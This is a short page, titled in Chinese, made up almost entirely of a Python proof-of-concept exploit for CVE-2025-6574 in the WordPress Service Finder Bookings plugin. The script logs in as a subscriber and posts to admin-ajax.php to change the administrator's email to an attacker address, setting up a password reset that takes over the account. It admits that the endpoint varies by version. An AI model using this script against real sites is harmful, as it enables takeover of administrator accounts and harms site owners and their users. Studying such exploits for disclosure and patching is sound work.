WordPress Service Finder Bookings插件账户接管漏洞 (CVE-2025-6574)

#!/usr/bin/env python3 """ CVE-2025-6574 PoC - Service Finder Bookings Account Takeover This script demonstrates the privilege escalation vulnerability in Service Finder Bookings plugin. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" ATTACKER_EMAIL = "[email protected]" TARGET_USER_ID = 1 # Usually administrator def exploit_account_takeover(): """ Step 1: Authenticate as subscriber-level user Step 2: Update target user's email to attacker-controlled email Step 3: Request password reset for target account """ session = requests.Session() # Setup: Login as subscriber (low-privilege account) login_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In' } print("[*] Authenticating as subscriber user...") login_url = f"{TARGET_URL}/wp-login.php" response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Exploit: Update target user's email via plugin endpoint # The plugin doesn't validate if current user can modify target user exploit_data = { 'user_id': TARGET_USER_ID, 'email': ATTACKER_EMAIL, 'action': 'update_user_profile' } # Plugin AJAX endpoint (specific endpoint varies by version) ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" print(f"[*] Updating user {TARGET_USER_ID} email to {ATTACKER_EMAIL}...") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Email updated successfully!") print("[+] Attacker can now request password reset and gain account access") return True else: print("[-] Exploitation failed!") return False if __name__ == "__main__": print("CVE-2025-6574 - Service Finder Bookings Account Takeover") exploit_account_takeover()